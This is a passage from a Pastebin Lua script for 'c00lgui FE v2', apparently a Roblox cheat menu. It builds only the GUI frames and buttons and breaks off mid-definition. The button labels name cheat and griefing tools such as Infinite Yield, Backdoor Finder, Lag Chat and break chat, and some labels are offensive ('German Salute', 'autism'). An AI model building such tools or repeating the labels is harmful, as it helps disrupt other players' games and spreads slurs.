MiRw3b

c00lgui reborn fe v2

Jun 5th, 2022 (edited)
395,774
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 158.99 KB | None | 0 0
  1. local c00lguiFE = Instance.new("ScreenGui")
  2. local Frame = Instance.new("Frame")
  3. local Title = Instance.new("TextLabel")
  4. local back = Instance.new("TextButton")
  5. local next = Instance.new("TextButton")
  6. local Page1 = Instance.new("Frame")
  7. local FEGuis = Instance.new("Frame")
  8. local Owlhub = Instance.new("TextButton")
  9. local Title_2 = Instance.new("TextLabel")
  10. local topkekremake = Instance.new("TextButton")
  11. local Opfinality = Instance.new("TextButton")
  12. local ScriptSpy = Instance.new("TextButton")
  13. local Dex = Instance.new("TextButton")
  14. local Hydroxide = Instance.new("TextButton")
  15. local audiologger = Instance.new("TextButton")
  16. local InfiniteYieldFE = Instance.new("TextButton")
  17. local HarkedReborn = Instance.new("TextButton")
  18. local Backdoorfinder = Instance.new("TextButton")
  19. local headfling = Instance.new("TextButton")
  20. local UnanchPlr = Instance.new("TextButton")
  21. local FEscripts = Instance.new("Frame")
  22. local Title_3 = Instance.new("TextLabel")
  23. local Ccanon = Instance.new("TextButton")
  24. local humanoidel = Instance.new("TextButton")
  25. local salute = Instance.new("TextButton")
  26. local lagchat = Instance.new("TextButton")
  27. local breakchat = Instance.new("TextButton")
  28. local commitoof = Instance.new("TextButton")
  29. local backflip = Instance.new("TextButton")
  30. local walkonwall = Instance.new("TextButton")
  31. local blackhole = Instance.new("TextButton")
  32. local ClickTP = Instance.new("TextButton")
  33. local autism = Instance.new("TextButton")
  34. local singtheme = Instance.new("TextButton")
  35. local PageLabel = Instance.new("TextLabel")
  36. local TextLabel = Instance.new("TextLabel")
  37. local Page2 = Instance.new("Frame")
  38. local robloxoldstyle = Instance.new("Frame")
  39. local Title_4 = Instance.new("TextLabel")
  40. local oldtopbar = Instance.new("TextButton")
  41. local oldcharsounds = Instance.new("TextButton")
  42. local oldanim = Instance.new("TextButton")
  43. local oldplrlist = Instance.new("TextButton")
  44. local oldgraphics = Instance.new("TextButton")
  45. local oldcons = Instance.new("TextButton")
  46. local oldcursor = Instance.new("TextButton")
  47. local no5 = Instance.new("TextButton")
  48. local no3 = Instance.new("TextButton")
  49. local no2 = Instance.new("TextButton")
  50. local no = Instance.new("TextButton")
  51. local no4 = Instance.new("TextButton")
  52. local PageLabel_2 = Instance.new("TextLabel")
  53. local Page3 = Instance.new("Frame")
  54. local End = Instance.new("Frame")
  55. local Text = Instance.new("TextLabel")
  56. local PageLabel_3 = Instance.new("TextLabel")
  57. local CloseOpen = Instance.new("TextButton")
  58.  
  59. c00lguiFE.Name = "c00lguiFE"
  60. c00lguiFE.Parent = game.CoreGui
  61. c00lguiFE.ResetOnSpawn = false
  62.  
  63. Frame.Parent = c00lguiFE
  64. Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  65. Frame.BorderColor3 = Color3.fromRGB(255, 0, 0)
  66. Frame.BorderSizePixel = 3
  67. Frame.Position = UDim2.new(0, 3, 0.300000012, 0)
  68. Frame.Size = UDim2.new(0, 300, 0, 400)
  69. Frame.ZIndex = 2
  70.  
  71. Title.Name = "Title"
  72. Title.Parent = Frame
  73. Title.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  74. Title.BorderColor3 = Color3.fromRGB(255, 0, 0)
  75. Title.BorderSizePixel = 3
  76. Title.Size = UDim2.new(1, 0, 0, 40)
  77. Title.ZIndex = 2
  78. Title.Font = Enum.Font.SourceSans
  79. Title.Text = "c00lgui FE v2.1 by LordMuhamad"
  80. Title.TextColor3 = Color3.fromRGB(255, 255, 255)
  81. Title.TextScaled = true
  82. Title.TextSize = 24.000
  83. Title.TextWrapped = true
  84.  
  85. back.Name = "back"
  86. back.Parent = Frame
  87. back.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  88. back.BorderColor3 = Color3.fromRGB(255, 0, 0)
  89. back.BorderSizePixel = 3
  90. back.Position = UDim2.new(0, 0, 0, 40)
  91. back.Size = UDim2.new(0.5, 0, 0, 40)
  92. back.ZIndex = 2
  93. back.Font = Enum.Font.SourceSans
  94. back.Text = "<"
  95. back.TextColor3 = Color3.fromRGB(255, 255, 255)
  96. back.TextSize = 48.000
  97.  
  98. next.Name = "next"
  99. next.Parent = Frame
  100. next.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  101. next.BorderColor3 = Color3.fromRGB(255, 0, 0)
  102. next.BorderSizePixel = 3
  103. next.Position = UDim2.new(0.5, 3, 0, 40)
  104. next.Size = UDim2.new(0.5, -3, 0, 40)
  105. next.ZIndex = 2
  106. next.Font = Enum.Font.SourceSans
  107. next.Text = ">"
  108. next.TextColor3 = Color3.fromRGB(255, 255, 255)
  109. next.TextSize = 48.000
  110.  
  111. Page1.Name = "Page1"
  112. Page1.Parent = Frame
  113. Page1.Active = true
  114. Page1.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  115. Page1.BorderColor3 = Color3.fromRGB(255, 0, 0)
  116. Page1.BorderSizePixel = 3
  117. Page1.Position = UDim2.new(0, 0, 0, 83)
  118. Page1.Size = UDim2.new(1, 0, 1, -106)
  119. Page1.ZIndex = 2
  120.  
  121. FEGuis.Name = "FE Guis"
  122. FEGuis.Parent = Page1
  123. FEGuis.Active = true
  124. FEGuis.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  125. FEGuis.BorderColor3 = Color3.fromRGB(255, 0, 0)
  126. FEGuis.BorderSizePixel = 3
  127. FEGuis.Position = UDim2.new(0.5, 3, 0, 0)
  128. FEGuis.Size = UDim2.new(0.5, -3, 1, 0)
  129. FEGuis.ZIndex = 2
  130.  
  131. Owlhub.Name = "Owlhub"
  132. Owlhub.Parent = FEGuis
  133. Owlhub.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  134. Owlhub.BorderColor3 = Color3.fromRGB(255, 0, 0)
  135. Owlhub.BorderSizePixel = 3
  136. Owlhub.Position = UDim2.new(0, 0, 0, 33)
  137. Owlhub.Size = UDim2.new(0.5, 0, 0, 30)
  138. Owlhub.ZIndex = 2
  139. Owlhub.Font = Enum.Font.SourceSans
  140. Owlhub.Text = "OwlHub"
  141. Owlhub.TextColor3 = Color3.fromRGB(255, 255, 255)
  142. Owlhub.TextSize = 14.000
  143. Owlhub.TextWrapped = true
  144.  
  145. Title_2.Name = "Title"
  146. Title_2.Parent = FEGuis
  147. Title_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  148. Title_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
  149. Title_2.BorderSizePixel = 3
  150. Title_2.Size = UDim2.new(1, 0, 0, 30)
  151. Title_2.ZIndex = 2
  152. Title_2.Font = Enum.Font.SourceSansBold
  153. Title_2.Text = "FE GUIs"
  154. Title_2.TextColor3 = Color3.fromRGB(255, 255, 255)
  155. Title_2.TextSize = 14.000
  156. Title_2.TextWrapped = true
  157.  
  158. topkekremake.Name = "topkek remake"
  159. topkekremake.Parent = FEGuis
  160. topkekremake.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  161. topkekremake.BorderColor3 = Color3.fromRGB(255, 0, 0)
  162. topkekremake.BorderSizePixel = 3
  163. topkekremake.Position = UDim2.new(0.5, 3, 0, 33)
  164. topkekremake.Size = UDim2.new(0.5, -3, 0, 30)
  165. topkekremake.ZIndex = 2
  166. topkekremake.Font = Enum.Font.SourceSans
  167. topkekremake.Text = "Topkek remake"
  168. topkekremake.TextColor3 = Color3.fromRGB(255, 255, 255)
  169. topkekremake.TextSize = 14.000
  170. topkekremake.TextWrapped = true
  171.  
  172. Opfinality.Name = "Opfinality"
  173. Opfinality.Parent = FEGuis
  174. Opfinality.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  175. Opfinality.BorderColor3 = Color3.fromRGB(255, 0, 0)
  176. Opfinality.BorderSizePixel = 3
  177. Opfinality.Position = UDim2.new(0, 0, 0, 66)
  178. Opfinality.Size = UDim2.new(0.5, 0, 0, 30)
  179. Opfinality.ZIndex = 2
  180. Opfinality.Font = Enum.Font.SourceSans
  181. Opfinality.Text = "Opfinality"
  182. Opfinality.TextColor3 = Color3.fromRGB(255, 255, 255)
  183. Opfinality.TextSize = 14.000
  184. Opfinality.TextWrapped = true
  185.  
  186. ScriptSpy.Name = "Script Spy"
  187. ScriptSpy.Parent = FEGuis
  188. ScriptSpy.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  189. ScriptSpy.BorderColor3 = Color3.fromRGB(255, 0, 0)
  190. ScriptSpy.BorderSizePixel = 3
  191. ScriptSpy.Position = UDim2.new(0.5, 3, 0, 66)
  192. ScriptSpy.Size = UDim2.new(0.5, -3, 0, 30)
  193. ScriptSpy.ZIndex = 2
  194. ScriptSpy.Font = Enum.Font.SourceSans
  195. ScriptSpy.Text = "ScriptSpy"
  196. ScriptSpy.TextColor3 = Color3.fromRGB(255, 255, 255)
  197. ScriptSpy.TextSize = 14.000
  198. ScriptSpy.TextWrapped = true
  199.  
  200. Dex.Name = "Dex"
  201. Dex.Parent = FEGuis
  202. Dex.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  203. Dex.BorderColor3 = Color3.fromRGB(255, 0, 0)
  204. Dex.BorderSizePixel = 3
  205. Dex.Position = UDim2.new(0, 0, 0, 99)
  206. Dex.Size = UDim2.new(0.5, 0, 0, 30)
  207. Dex.ZIndex = 2
  208. Dex.Font = Enum.Font.SourceSans
  209. Dex.Text = "ExProDex V2"
  210. Dex.TextColor3 = Color3.fromRGB(255, 255, 255)
  211. Dex.TextSize = 14.000
  212. Dex.TextWrapped = true
  213.  
  214. Hydroxide.Name = "Hydroxide"
  215. Hydroxide.Parent = FEGuis
  216. Hydroxide.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  217. Hydroxide.BorderColor3 = Color3.fromRGB(255, 0, 0)
  218. Hydroxide.BorderSizePixel = 3
  219. Hydroxide.Position = UDim2.new(0.5, 3, 0, 99)
  220. Hydroxide.Size = UDim2.new(0.5, -3, 0, 30)
  221. Hydroxide.ZIndex = 2
  222. Hydroxide.Font = Enum.Font.SourceSans
  223. Hydroxide.Text = "Hydroxide"
  224. Hydroxide.TextColor3 = Color3.fromRGB(255, 255, 255)
  225. Hydroxide.TextSize = 14.000
  226. Hydroxide.TextWrapped = true
  227.  
  228. audiologger.Name = "audio logger"
  229. audiologger.Parent = FEGuis
  230. audiologger.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  231. audiologger.BorderColor3 = Color3.fromRGB(255, 0, 0)
  232. audiologger.BorderSizePixel = 3
  233. audiologger.Position = UDim2.new(0, 0, 0, 132)
  234. audiologger.Size = UDim2.new(0.5, 0, 0, 30)
  235. audiologger.ZIndex = 2
  236. audiologger.Font = Enum.Font.SourceSans
  237. audiologger.Text = "Audio logger"
  238. audiologger.TextColor3 = Color3.fromRGB(255, 255, 255)
  239. audiologger.TextSize = 14.000
  240. audiologger.TextWrapped = true
  241.  
  242. InfiniteYieldFE.Name = "Infinite Yield FE"
  243. InfiniteYieldFE.Parent = FEGuis
  244. InfiniteYieldFE.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  245. InfiniteYieldFE.BorderColor3 = Color3.fromRGB(255, 0, 0)
  246. InfiniteYieldFE.BorderSizePixel = 3
  247. InfiniteYieldFE.Position = UDim2.new(0.5, 3, 0, 132)
  248. InfiniteYieldFE.Size = UDim2.new(0.5, -3, 0, 30)
  249. InfiniteYieldFE.ZIndex = 2
  250. InfiniteYieldFE.Font = Enum.Font.SourceSans
  251. InfiniteYieldFE.Text = "Infinite Yield FE"
  252. InfiniteYieldFE.TextColor3 = Color3.fromRGB(255, 255, 255)
  253. InfiniteYieldFE.TextSize = 14.000
  254. InfiniteYieldFE.TextWrapped = true
  255.  
  256. HarkedReborn.Name = "Harked Reborn"
  257. HarkedReborn.Parent = FEGuis
  258. HarkedReborn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  259. HarkedReborn.BorderColor3 = Color3.fromRGB(255, 0, 0)
  260. HarkedReborn.BorderSizePixel = 3
  261. HarkedReborn.Position = UDim2.new(0, 0, 0, 165)
  262. HarkedReborn.Size = UDim2.new(0.499000013, 0, 0, 30)
  263. HarkedReborn.ZIndex = 2
  264. HarkedReborn.Font = Enum.Font.SourceSans
  265. HarkedReborn.Text = "Harked Reborn (deprecated)"
  266. HarkedReborn.TextColor3 = Color3.fromRGB(255, 255, 255)
  267. HarkedReborn.TextSize = 14.000
  268. HarkedReborn.TextWrapped = true
  269.  
  270. Backdoorfinder.Name = "Backdoor finder"
  271. Backdoorfinder.Parent = FEGuis
  272. Backdoorfinder.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  273. Backdoorfinder.BorderColor3 = Color3.fromRGB(255, 0, 0)
  274. Backdoorfinder.BorderSizePixel = 3
  275. Backdoorfinder.Position = UDim2.new(0.5, 3, 0, 165)
  276. Backdoorfinder.Size = UDim2.new(0.5, -3, 0, 30)
  277. Backdoorfinder.ZIndex = 2
  278. Backdoorfinder.Font = Enum.Font.SourceSans
  279. Backdoorfinder.Text = "Backdoor Finder"
  280. Backdoorfinder.TextColor3 = Color3.fromRGB(255, 255, 255)
  281. Backdoorfinder.TextSize = 14.000
  282. Backdoorfinder.TextWrapped = true
  283.  
  284. headfling.Name = "headfling"
  285. headfling.Parent = FEGuis
  286. headfling.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  287. headfling.BorderColor3 = Color3.fromRGB(255, 0, 0)
  288. headfling.BorderSizePixel = 3
  289. headfling.Position = UDim2.new(0, 0, 0, 198)
  290. headfling.Size = UDim2.new(0.499000013, 0, 0, 30)
  291. headfling.ZIndex = 2
  292. headfling.Font = Enum.Font.SourceSans
  293. headfling.Text = "headfling"
  294. headfling.TextColor3 = Color3.fromRGB(255, 255, 255)
  295. headfling.TextSize = 14.000
  296. headfling.TextWrapped = true
  297.  
  298. UnanchPlr.Name = "UnanchPlr"
  299. UnanchPlr.Parent = FEGuis
  300. UnanchPlr.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  301. UnanchPlr.BorderColor3 = Color3.fromRGB(255, 0, 0)
  302. UnanchPlr.BorderSizePixel = 3
  303. UnanchPlr.Position = UDim2.new(0.5, 3, 0, 198)
  304. UnanchPlr.Size = UDim2.new(0.5, -3, 0, 30)
  305. UnanchPlr.ZIndex = 2
  306. UnanchPlr.Font = Enum.Font.SourceSans
  307. UnanchPlr.Text = "Unanchored2Plr"
  308. UnanchPlr.TextColor3 = Color3.fromRGB(255, 255, 255)
  309. UnanchPlr.TextSize = 14.000
  310. UnanchPlr.TextWrapped = true
  311.  
  312. FEscripts.Name = "FE scripts"
  313. FEscripts.Parent = Page1
  314. FEscripts.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  315. FEscripts.BorderColor3 = Color3.fromRGB(255, 0, 0)
  316. FEscripts.BorderSizePixel = 3
  317. FEscripts.Size = UDim2.new(0.5, 0, 1, 0)
  318. FEscripts.ZIndex = 2
  319.  
  320. Title_3.Name = "Title"
  321. Title_3.Parent = FEscripts
  322. Title_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  323. Title_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
  324. Title_3.BorderSizePixel = 3
  325. Title_3.Size = UDim2.new(1, 0, 0, 30)
  326. Title_3.ZIndex = 2
  327. Title_3.Font = Enum.Font.SourceSansBold
  328. Title_3.Text = "FE SCRIPTS"
  329. Title_3.TextColor3 = Color3.fromRGB(255, 255, 255)
  330. Title_3.TextSize = 14.000
  331. Title_3.TextWrapped = true
  332.  
  333. Ccanon.Name = "Ccanon"
  334. Ccanon.Parent = FEscripts
  335. Ccanon.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  336. Ccanon.BorderColor3 = Color3.fromRGB(255, 0, 0)
  337. Ccanon.BorderSizePixel = 3
  338. Ccanon.Position = UDim2.new(0, 0, 0, 33)
  339. Ccanon.Size = UDim2.new(0.5, 0, 0, 30)
  340. Ccanon.ZIndex = 2
  341. Ccanon.Font = Enum.Font.SourceSans
  342. Ccanon.Text = "Butterloaf cannon"
  343. Ccanon.TextColor3 = Color3.fromRGB(255, 255, 255)
  344. Ccanon.TextSize = 14.000
  345. Ccanon.TextWrapped = true
  346.  
  347. humanoidel.Name = "humanoidel"
  348. humanoidel.Parent = FEscripts
  349. humanoidel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  350. humanoidel.BorderColor3 = Color3.fromRGB(255, 0, 0)
  351. humanoidel.BorderSizePixel = 3
  352. humanoidel.Position = UDim2.new(0, 75, 0, 33)
  353. humanoidel.Size = UDim2.new(0.5, 0, 0, 30)
  354. humanoidel.ZIndex = 2
  355. humanoidel.Font = Enum.Font.SourceSans
  356. humanoidel.Text = "del character"
  357. humanoidel.TextColor3 = Color3.fromRGB(255, 255, 255)
  358. humanoidel.TextSize = 14.000
  359. humanoidel.TextWrapped = true
  360.  
  361. salute.Name = "salute"
  362. salute.Parent = FEscripts
  363. salute.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  364. salute.BorderColor3 = Color3.fromRGB(255, 0, 0)
  365. salute.BorderSizePixel = 3
  366. salute.Position = UDim2.new(0, 75, 0, 66)
  367. salute.Size = UDim2.new(0.5, 0, 0, 30)
  368. salute.ZIndex = 2
  369. salute.Font = Enum.Font.SourceSans
  370. salute.Text = "German Salute"
  371. salute.TextColor3 = Color3.fromRGB(255, 255, 255)
  372. salute.TextSize = 14.000
  373. salute.TextWrapped = true
  374.  
  375. lagchat.Name = "lagchat"
  376. lagchat.Parent = FEscripts
  377. lagchat.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  378. lagchat.BorderColor3 = Color3.fromRGB(255, 0, 0)
  379. lagchat.BorderSizePixel = 3
  380. lagchat.Position = UDim2.new(0, 0, 0, 99)
  381. lagchat.Size = UDim2.new(0.5, 0, 0, 30)
  382. lagchat.ZIndex = 2
  383. lagchat.Font = Enum.Font.SourceSans
  384. lagchat.Text = "Lag Chat"
  385. lagchat.TextColor3 = Color3.fromRGB(255, 255, 255)
  386. lagchat.TextSize = 14.000
  387. lagchat.TextWrapped = true
  388.  
  389. breakchat.Name = "breakchat"
  390. breakchat.Parent = FEscripts
  391. breakchat.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  392. breakchat.BorderColor3 = Color3.fromRGB(255, 0, 0)
  393. breakchat.BorderSizePixel = 3
  394. breakchat.Position = UDim2.new(0, 75, 0, 99)
  395. breakchat.Size = UDim2.new(0.5, 0, 0, 30)
  396. breakchat.ZIndex = 2
  397. breakchat.Font = Enum.Font.SourceSans
  398. breakchat.Text = "break chat"
  399. breakchat.TextColor3 = Color3.fromRGB(255, 255, 255)
  400. breakchat.TextSize = 14.000
  401. breakchat.TextWrapped = true
  402.  
  403. commitoof.Name = "commit oof"
  404. commitoof.Parent = FEscripts
  405. commitoof.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  406. commitoof.BorderColor3 = Color3.fromRGB(255, 0, 0)
  407. commitoof.BorderSizePixel = 3
  408. commitoof.Position = UDim2.new(0, 0, 0, 66)
  409. commitoof.Size = UDim2.new(0.479999989, 0, 0, 30)
  410. commitoof.ZIndex = 2
  411. commitoof.Font = Enum.Font.SourceSans
  412. commitoof.Text = "Commit oof"
  413. commitoof.TextColor3 = Color3.fromRGB(255, 255, 255)
  414. commitoof.TextSize = 14.000
  415. commitoof.TextWrapped = true
  416.  
  417. backflip.Name = "backflip"
  418. backflip.Parent = FEscripts
  419. backflip.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  420. backflip.BorderColor3 = Color3.fromRGB(255, 0, 0)
  421. backflip.BorderSizePixel = 3
  422. backflip.Position = UDim2.new(0, 0, 0, 132)
  423. backflip.Size = UDim2.new(0.479999989, 0, 0, 30)
  424. backflip.ZIndex = 2
  425. backflip.Font = Enum.Font.SourceSans
  426. backflip.Text = "backflip (Z,X,C)"
  427. backflip.TextColor3 = Color3.fromRGB(255, 255, 255)
  428. backflip.TextSize = 14.000
  429. backflip.TextWrapped = true
  430.  
  431. walkonwall.Name = "walkonwall"
  432. walkonwall.Parent = FEscripts
  433. walkonwall.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  434. walkonwall.BorderColor3 = Color3.fromRGB(255, 0, 0)
  435. walkonwall.BorderSizePixel = 3
  436. walkonwall.Position = UDim2.new(0, 75, 0, 132)
  437. walkonwall.Size = UDim2.new(0.5, 0, 0, 30)
  438. walkonwall.ZIndex = 2
  439. walkonwall.Font = Enum.Font.SourceSans
  440. walkonwall.Text = "walk on walls"
  441. walkonwall.TextColor3 = Color3.fromRGB(255, 255, 255)
  442. walkonwall.TextSize = 14.000
  443. walkonwall.TextWrapped = true
  444.  
  445. blackhole.Name = "blackhole"
  446. blackhole.Parent = FEscripts
  447. blackhole.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  448. blackhole.BorderColor3 = Color3.fromRGB(255, 0, 0)
  449. blackhole.BorderSizePixel = 3
  450. blackhole.Position = UDim2.new(0, 1, 0, 165)
  451. blackhole.Size = UDim2.new(0.479999989, 0, 0, 30)
  452. blackhole.ZIndex = 2
  453. blackhole.Font = Enum.Font.SourceSans
  454. blackhole.Text = "blackhole"
  455. blackhole.TextColor3 = Color3.fromRGB(255, 255, 255)
  456. blackhole.TextSize = 14.000
  457. blackhole.TextWrapped = true
  458.  
  459. ClickTP.Name = "ClickTP"
  460. ClickTP.Parent = FEscripts
  461. ClickTP.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  462. ClickTP.BorderColor3 = Color3.fromRGB(255, 0, 0)
  463. ClickTP.BorderSizePixel = 3
  464. ClickTP.Position = UDim2.new(0, 75, 0, 165)
  465. ClickTP.Size = UDim2.new(0.5, 0, 0, 30)
  466. ClickTP.ZIndex = 2
  467. ClickTP.Font = Enum.Font.SourceSans
  468. ClickTP.Text = "Click TP"
  469. ClickTP.TextColor3 = Color3.fromRGB(255, 255, 255)
  470. ClickTP.TextSize = 14.000
  471. ClickTP.TextWrapped = true
  472.  
  473. autism.Name = "autism"
  474. autism.Parent = FEscripts
  475. autism.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  476. autism.BorderColor3 = Color3.fromRGB(255, 0, 0)
  477. autism.BorderSizePixel = 3
  478. autism.Position = UDim2.new(0, 0, 0, 198)
  479. autism.Size = UDim2.new(0.479999989, 0, 0, 30)
  480. autism.ZIndex = 2
  481. autism.Font = Enum.Font.SourceSans
  482. autism.Text = "autism "
  483. autism.TextColor3 = Color3.fromRGB(255, 255, 255)
  484. autism.TextSize = 14.000
  485. autism.TextWrapped = true
  486.  
  487. singtheme.Name = "sing theme"
  488. singtheme.Parent = FEscripts
  489. singtheme.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  490. singtheme.BorderColor3 = Color3.fromRGB(255, 0, 0)
  491. singtheme.BorderSizePixel = 3
  492. singtheme.Position = UDim2.new(0, 75, 0, 198)
  493. singtheme.Size = UDim2.new(0.5, 0, 0, 30)
  494. singtheme.ZIndex = 2
  495. singtheme.Font = Enum.Font.SourceSans
  496. singtheme.Text = "sing c00lkidd anthem"
  497. singtheme.TextColor3 = Color3.fromRGB(255, 255, 255)
  498. singtheme.TextSize = 14.000
  499. singtheme.TextWrapped = true
  500.  
  501. PageLabel.Name = "PageLabel"
  502. PageLabel.Parent = Page1
  503. PageLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  504. PageLabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
  505. PageLabel.BorderSizePixel = 3
  506. PageLabel.Position = UDim2.new(0, 0, 1, -30)
  507. PageLabel.Size = UDim2.new(1, 0, 0, 30)
  508. PageLabel.ZIndex = 2
  509. PageLabel.Font = Enum.Font.SourceSans
  510. PageLabel.Text = "Page 1"
  511. PageLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  512. PageLabel.TextSize = 18.000
  513. PageLabel.TextWrapped = true
  514.  
  515. TextLabel.Parent = Page1
  516. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  517. TextLabel.Size = UDim2.new(0, 200, 0, 50)
  518. TextLabel.Font = Enum.Font.SourceSans
  519. TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
  520. TextLabel.TextSize = 14.000
  521.  
  522. Page2.Name = "Page2"
  523. Page2.Parent = Frame
  524. Page2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  525. Page2.BorderColor3 = Color3.fromRGB(255, 0, 0)
  526. Page2.BorderSizePixel = 3
  527. Page2.Position = UDim2.new(0, 0, 0, 83)
  528. Page2.Size = UDim2.new(1, 0, 1, -106)
  529. Page2.Visible = false
  530. Page2.ZIndex = 2
  531.  
  532. robloxoldstyle.Name = "roblox oldstyle"
  533. robloxoldstyle.Parent = Page2
  534. robloxoldstyle.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  535. robloxoldstyle.BorderColor3 = Color3.fromRGB(255, 0, 0)
  536. robloxoldstyle.BorderSizePixel = 3
  537. robloxoldstyle.Size = UDim2.new(0.5, 0, 1, 0)
  538. robloxoldstyle.ZIndex = 2
  539.  
  540. Title_4.Name = "Title"
  541. Title_4.Parent = robloxoldstyle
  542. Title_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  543. Title_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
  544. Title_4.BorderSizePixel = 3
  545. Title_4.Size = UDim2.new(1, 0, 0, 30)
  546. Title_4.ZIndex = 2
  547. Title_4.Font = Enum.Font.SourceSansBold
  548. Title_4.Text = "OLD ROBLOX STYLE"
  549. Title_4.TextColor3 = Color3.fromRGB(255, 255, 255)
  550. Title_4.TextSize = 14.000
  551. Title_4.TextWrapped = true
  552.  
  553. oldtopbar.Name = "old topbar"
  554. oldtopbar.Parent = robloxoldstyle
  555. oldtopbar.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  556. oldtopbar.BorderColor3 = Color3.fromRGB(255, 0, 0)
  557. oldtopbar.BorderSizePixel = 3
  558. oldtopbar.Position = UDim2.new(0, 0, 0, 33)
  559. oldtopbar.Size = UDim2.new(0.5, 0, 0, 30)
  560. oldtopbar.ZIndex = 2
  561. oldtopbar.Font = Enum.Font.SourceSans
  562. oldtopbar.Text = "Old Topbar"
  563. oldtopbar.TextColor3 = Color3.fromRGB(255, 255, 255)
  564. oldtopbar.TextSize = 14.000
  565. oldtopbar.TextWrapped = true
  566.  
  567. oldcharsounds.Name = "oldcharsounds"
  568. oldcharsounds.Parent = robloxoldstyle
  569. oldcharsounds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  570. oldcharsounds.BorderColor3 = Color3.fromRGB(255, 0, 0)
  571. oldcharsounds.BorderSizePixel = 3
  572. oldcharsounds.Position = UDim2.new(0, 75, 0, 33)
  573. oldcharsounds.Size = UDim2.new(0.5, 0, 0, 30)
  574. oldcharsounds.ZIndex = 2
  575. oldcharsounds.Font = Enum.Font.SourceSans
  576. oldcharsounds.Text = "Old character sounds"
  577. oldcharsounds.TextColor3 = Color3.fromRGB(255, 255, 255)
  578. oldcharsounds.TextSize = 14.000
  579. oldcharsounds.TextWrapped = true
  580.  
  581. oldanim.Name = "oldanim"
  582. oldanim.Parent = robloxoldstyle
  583. oldanim.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  584. oldanim.BorderColor3 = Color3.fromRGB(255, 0, 0)
  585. oldanim.BorderSizePixel = 3
  586. oldanim.Position = UDim2.new(0, 75, 0, 66)
  587. oldanim.Size = UDim2.new(0.5, 0, 0, 30)
  588. oldanim.ZIndex = 2
  589. oldanim.Font = Enum.Font.SourceSans
  590. oldanim.Text = "Old animations"
  591. oldanim.TextColor3 = Color3.fromRGB(255, 255, 255)
  592. oldanim.TextSize = 14.000
  593. oldanim.TextWrapped = true
  594.  
  595. oldplrlist.Name = "oldplrlist"
  596. oldplrlist.Parent = robloxoldstyle
  597. oldplrlist.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  598. oldplrlist.BorderColor3 = Color3.fromRGB(255, 0, 0)
  599. oldplrlist.BorderSizePixel = 3
  600. oldplrlist.Position = UDim2.new(0, 0, 0, 99)
  601. oldplrlist.Size = UDim2.new(0.5, 0, 0, 30)
  602. oldplrlist.ZIndex = 2
  603. oldplrlist.Font = Enum.Font.SourceSans
  604. oldplrlist.Text = "Old playerlist"
  605. oldplrlist.TextColor3 = Color3.fromRGB(255, 255, 255)
  606. oldplrlist.TextSize = 14.000
  607. oldplrlist.TextWrapped = true
  608.  
  609. oldgraphics.Name = "oldgraphics"
  610. oldgraphics.Parent = robloxoldstyle
  611. oldgraphics.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  612. oldgraphics.BorderColor3 = Color3.fromRGB(255, 0, 0)
  613. oldgraphics.BorderSizePixel = 3
  614. oldgraphics.Position = UDim2.new(0, 75, 0, 99)
  615. oldgraphics.Size = UDim2.new(0.5, 0, 0, 30)
  616. oldgraphics.ZIndex = 2
  617. oldgraphics.Font = Enum.Font.SourceSans
  618. oldgraphics.Text = "Old graphics"
  619. oldgraphics.TextColor3 = Color3.fromRGB(255, 255, 255)
  620. oldgraphics.TextSize = 14.000
  621. oldgraphics.TextWrapped = true
  622.  
  623. oldcons.Name = "oldcons"
  624. oldcons.Parent = robloxoldstyle
  625. oldcons.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  626. oldcons.BorderColor3 = Color3.fromRGB(255, 0, 0)
  627. oldcons.BorderSizePixel = 3
  628. oldcons.Position = UDim2.new(0, 0, 0, 66)
  629. oldcons.Size = UDim2.new(0.479999989, 0, 0, 30)
  630. oldcons.ZIndex = 2
  631. oldcons.Font = Enum.Font.SourceSans
